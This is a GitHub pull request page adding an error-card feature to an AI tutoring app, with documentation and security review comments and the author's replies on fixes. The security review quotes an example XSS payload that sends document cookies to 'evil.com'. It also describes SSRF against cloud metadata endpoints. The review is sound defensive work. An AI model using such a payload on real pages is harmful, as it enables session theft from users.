Skip to content

feat: add error card feature for automated learner misunderstanding detection#268

Draft
kawtarhassani wants to merge 12 commits into
Open-TutorAi:mainfrom
kawtarhassani:refactor/ui-feature-structure
Draft

feat: add error card feature for automated learner misunderstanding detection#268
kawtarhassani wants to merge 12 commits into
Open-TutorAi:mainfrom
kawtarhassani:refactor/ui-feature-structure

Conversation

@kawtarhassani

Copy link
Copy Markdown

Pull Request Checklist

  • Target branch: Please verify that the pull request targets the dev branch.
  • Description: A concise description of the changes made in this pull request is provided below.
  • Changelog: A changelog entry following the required format is included below.
  • Documentation: Relevant documentation for the Error Card feature has been added.
  • Dependencies: No new external dependencies were introduced.
  • Testing: Tests were added and executed to validate the feature.
  • Code review: A self-review was performed and formatting / code-quality issues were addressed.
  • Prefix: The PR title uses an appropriate prefix (feat).

Description

This pull request introduces the Error Card feature in Open TutorAI CE.

The goal of this contribution is to automatically analyze exchanges between a student and the AI tutor in order to detect learning misunderstandings and transform them into structured pedagogical error cards. After each tutor response, the exchange is analyzed asynchronously in the background by a pedagogical LLM. When one or more misunderstandings are identified, the system generates structured remediation content associated with the current support session and stores it in the database.

The generated error-card content is designed to help students revisit their mistakes through pedagogical feedback such as the identified concept, a description of the misunderstanding, a simple explanation, and a correct example. Students are notified when new error-card content is generated and can later access their cards from a dedicated side panel, review them, and export them as a PDF for revision purposes.

The feature follows a fire-and-forget workflow so that the analysis never blocks the chat interface. This keeps the tutoring experience responsive while still providing personalized remediation support in the background.

In addition to the feature itself, this contribution also includes API integration, persistence logic, frontend integration, automated tests, documentation, diagrams, screenshots, and security improvements.

Changelog Entry

Description

  • Added the Error Card feature to automatically detect learner misunderstandings during AI tutoring sessions and generate structured pedagogical remediation content.
  • Implemented asynchronous background analysis of tutor–student exchanges after tutor responses.
  • Added student access to generated error-card content through a dedicated side panel with PDF export support.
  • Added automated tests, technical documentation, diagrams, screenshots, and security notes for the feature.

Added

  • Error Card backend support, including model, repository, and service logic.

  • New API endpoints for:

    • analyzing a tutor–student exchange,
    • listing generated error cards,
    • deleting an error card.
  • Frontend integration for error-card retrieval and display.

  • Error card side panel with PDF export support.

  • Documentation files covering:

    • architecture and feature overview,
    • user guide,
    • testing,
    • diagrams,
    • mockups / screenshots,
    • security notes.
  • Automated tests for API and service behavior.

Changed

  • Updated support-related backend routes to expose the new error-card endpoints.
  • Updated backend integration to trigger error-card analysis asynchronously after tutor responses.
  • Improved support-session error-card management and retrieval flow.
  • Added validation and robustness improvements around request handling and LLM response parsing.

Deprecated

  • None.

Removed

  • None.

Fixed

  • Added stricter validation for analyze-endpoint payloads.
  • Improved error-card deletion checks to better enforce support/user ownership constraints.
  • Replaced a user-disclosing authentication error message with a generic authentication error message.
  • Improved resilience of LLM JSON extraction and parsing.

Security

  • Added input validation constraints for error-card analysis requests.
  • Strengthened access control checks for deleting error cards.
  • Replaced a potentially revealing authentication error message with a generic one.
  • Added security documentation describing implemented protections and out-of-scope infrastructure concerns.

Breaking Changes

  • BREAKING CHANGE: None.

Additional Information

This contribution includes:

  • backend model / repository / service additions,
  • support-route integration,
  • frontend error-card panel and export support,
  • automated tests,
  • documentation,
  • UML / workflow diagrams,
  • screenshots.

Screenshots or Videos

Included in this contribution:

fiche impression

@kawtarhassani kawtarhassani changed the title Refactor/UI feature structure feat: add error card feature for automated learner misunderstanding detection Jun 25, 2026
@TarekAi TarekAi self-requested a review June 25, 2026 23:23
@Oumaima-elkhoummassi

Copy link
Copy Markdown

@kawtarhassani
Documentation review — error-cards.md, error-cards-user-guide.md,
error-cards-security.md, error-cards-testing.md, error-cards-diagrams.md,
error-cards-mockups.md checked.

Language: all six files are written in French. The project rule is that all
documentation must be in English. Could you translate these? This applies to
all of them, not just the user guide.

Content issues:

  1. error-cards.md - the request body example for POST .../analyze is missing
    the model field:
    { "user_message": "string", "assistant_message": "string" }
    error-cards-security.md shows model as a required field
    (Field(min_length=1, max_length=200)), and error-cards-testing.md always
    sends "model": "llama3" in its tests. Without it, this example would
    return a 422 - please add it.

  2. error-cards.md says DELETE returns "403: card belongs to another user".
    But error-cards-security.md explicitly states 404 was chosen instead of
    403 on purpose, to prevent resource enumeration - and
    test_delete_card_other_user in error-cards-testing.md asserts
    status_code == 404, not 403. Please fix error-cards.md to say 404 for
    both cases, to match the security doc and the actual test

  3. Path prefix mismatch between your own files: error-cards.md documents
    /supports/{support_id}/error-cards/... (no prefix), while
    error-cards-testing.md's pytest and curl examples always call
    /api/v1/supports/{support_id}/error-cards/.... Which one is correct?

  4. error-cards-testing.md contains a local absolute path
    (/home/kaoutar/Documents/projetopen/open-tutor-ai-CE) - probably worth
    removing since it's specific to your machine.

Please fix the language and the two factual mismatches (1 and 2) before approval

@OumaLam

OumaLam commented Jun 27, 2026

Copy link
Copy Markdown

Hi , @kawtarhassani

Security review


🔴 Critical (3) — Must fix before merge

🔴 [CRITICAL — Blocking] exportErrorCardsPdf.ts — XSS via raw HTML concatenation

LLM-sourced fields (card.concept, card.error_description, etc.) are injected into raw HTML with no encoding. A malicious LLM payload such as <img src=x onerror=fetch('evil.com/?c='+document.cookie)> will execute when the print popup opens.

Required before merge: Encode all fields with an escapeHtml() helper or use DOMPurify. Add a CSP header on the blob URL.

🔴 [CRITICAL — Blocking] Chat.sveltependingSupportData read from localStorage without ownership validation

linkedSupportId is read directly from localStorage without verifying the support belongs to the current user. A browser extension or another same-origin page can write an arbitrary support_id and link exchanges to a different user's record.

Required before merge: Validate server-side that the support belongs to the authenticated user before any operation. Never trust an identifier sourced from localStorage as a security boundary.

🔴 [CRITICAL — Blocking] service.py — SSRF via resolve_provider(model)

If ProvidersService does not validate resolved URLs, an attacker can force the server to reach internal resources (AWS/GCP metadata endpoints, Redis, databases).

Required before merge: Validate that base_url belongs to an allowlist of authorized hosts. Reject RFC1918 private IPs, loopback addresses, and non-HTTPS schemes.

🟠 High (4)

🟠 [HIGH] ErrorCard.svelte — Latent XSS risk on {@html}

Svelte currently escapes fields by default, but card.correct_example inside a <pre> has no length validation. If a future developer introduces {@html} for Markdown rendering, the XSS vector is immediate.

Fix in this PR: Explicitly document the prohibition of {@html} on LLM-sourced content. Add an ESLint rule. Enforce maximum field length on all displayed fields.

🟠 [HIGH] exportErrorCardsPdf.tswindow.open() without noopener

The opened tab has access to window.opener and can redirect the parent page. Combined with the XSS above, this is a straightforward phishing vector.

Fix: Replace with window.open(url, '_blank', 'noopener,noreferrer').

🟠 [HIGH] routers/supports.py — Missing explicit authorization check

GET /{support_id}/error-cards silently returns an empty list for an unauthorized ID instead of a 403, enabling valid ID enumeration (IDOR oracle).

Fix: Check support.user_id == current_user.id and return 403 on denial — not an empty list.

🟠 [HIGH] service.py — LLM API key potentially exposed in logs

log.warning(..., exc) may include HTTP request headers (including Authorization: Bearer <api_key>) in the logged exception.

Fix: Scrub credentials before logging. Audit existing logs for key traces.

🟡 Medium (4)

🟡 [MEDIUM — GDPR] Chat.svelte — Personal data written to the browser console

Multiple console.log() calls expose error concepts, support IDs, and chat data in production — readable by browser extensions or during screen sharing.

Fix: Remove production console.log calls or gate them on import.meta.env.DEV. Add the no-console ESLint rule.

🟡 [MEDIUM] service.py — LLM output fields persisted without XSS sanitization

concept, error_description, and related fields are stored directly from LLM output. A compromised LLM could insert malicious content into the database.

Fix: Apply bleach.clean() to all LLM-sourced text fields before persistence. Validate length and character set.

🟡 [MEDIUM] ErrorCardsPanel.svelte — Raw backend error messages shown in the UI

Backend error messages (potentially including table names, stack traces, or file paths) are surfaced directly in the interface.

Fix: Map API errors to generic user-facing messages. Log the full detail in DEV mode only.

🟡 [MEDIUM — GDPR] service.py — Pedagogical exchange content written to system logs

Log statements potentially expose the content of user learning exchanges — personal data under GDPR.

Fix: Log only IDs and technical metadata. Define a log retention and data minimization policy.


**7 blocking security **findings were identified during the review. These issues should be addressed before this PR can be merged. Please resolve them ,Thank you!

@kawtarhassani

Copy link
Copy Markdown
Author

Hi @Oumaima-elkhoummassi

All requested changes have been applied:

  • All 6 files translated to English (code blocks and field names unchanged)
  • error-cards.md — added "model": "string" to the POST /analyze request body example
  • error-cards.md — DELETE now returns 404 in all cases (removed incorrect 403),
    consistent with error-cards-security.md and the test assertions
  • error-cards-testing.md — replaced local absolute path with

Point 3 (path prefix):
confirmed from the backend source code (app.include_router
with prefix="/api/v1"). The correct path is /api/v1/supports/... —
error-cards-testing.md was already correct, error-cards.md was missing the prefix.
All 6 occurrences in error-cards.md have been fixed.

@kawtarhassani

Copy link
Copy Markdown
Author

HI @OumaLam
All 11 security issues have been fixed.

🔴 Critical (3/3 fixed)

  • exportErrorCardsPdf.ts — added escapeHtml() to encode all LLM-sourced
    fields before HTML injection (XSS fix)
  • Chat.svelte — linkedSupportId now validated server-side via
    getSupportById() before use. If server returns 403/404,
    the value is removed from localStorage
  • service.py — added _is_safe_provider_url() to block SSRF via
    link-local addresses (169.254.x.x = AWS/GCP/Azure metadata).
    localhost and private IPs are allowed as they are admin-configured

🟠 High (4/4 fixed)

  • ErrorCard.svelte — added ESLint rule svelte/no-at-html-tags set to
    error to block any future {@html} on LLM-sourced fields
  • exportErrorCardsPdf.ts — replaced window.open(url, '_blank') with
    window.open(url, '_blank', 'noopener,noreferrer')
  • routers/supports.py — GET /error-cards now returns 404 instead of []
    for unauthorized or non-existent support IDs (IDOR fix)
  • service.py — scrubbed Authorization headers from log.warning() calls

🟡 Medium (4/4 fixed)

  • Chat.svelte — removed 6 console.log() calls exposing user data (GDPR)
  • service.py — applied bleach.clean() to all LLM-sourced fields
    before persistence
  • ErrorCardsPanel.svelte — replaced raw backend errors with generic
    message: "An error occurred. Please try again."
  • service.py — logs now contain only IDs and technical metadata,
    no pedagogical exchange content (GDPR)

Full test suite: 233 passed, 0 failed.

@Eziane

Eziane commented Jul 4, 2026

Copy link
Copy Markdown
Contributor

Salam @kawtarhassani ,
Thanks for the contribution.

At the moment, this is not a clean PR. It includes a very large number of unrelated changes, which makes it difficult to review the actual feature.

Please rebase your branch onto the current main, keep only the commits related to the feature ur woking on, and remove unrelated changes before requesting a review again.

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot wasn't able to review this pull request because it exceeds the maximum number of files (300). Try reducing the number of changed files and requesting a review from Copilot again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants